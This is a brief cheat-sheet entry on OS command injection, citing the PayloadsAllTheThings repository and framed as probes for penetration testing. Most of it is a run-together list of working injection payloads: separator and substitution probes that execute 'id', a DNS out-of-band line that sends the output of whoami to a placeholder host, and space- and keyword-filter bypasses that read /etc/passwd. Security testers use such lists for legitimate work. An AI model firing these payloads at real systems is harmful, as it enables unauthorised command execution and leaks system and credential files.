Command Injection
Separators and substitution to break into OS command execution. Use OOB (interactsh) to confirm blind cases; the last entries bypass naive space/keyword filters.
Tags: rce, os, blind, bypass
Controlled probes
; id| id|| id&& id$(id)`id`id; nslookup $(whoami).OOB.example.comcat${IFS}/etc/passwd;c\at /et\c/pas\swd
Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection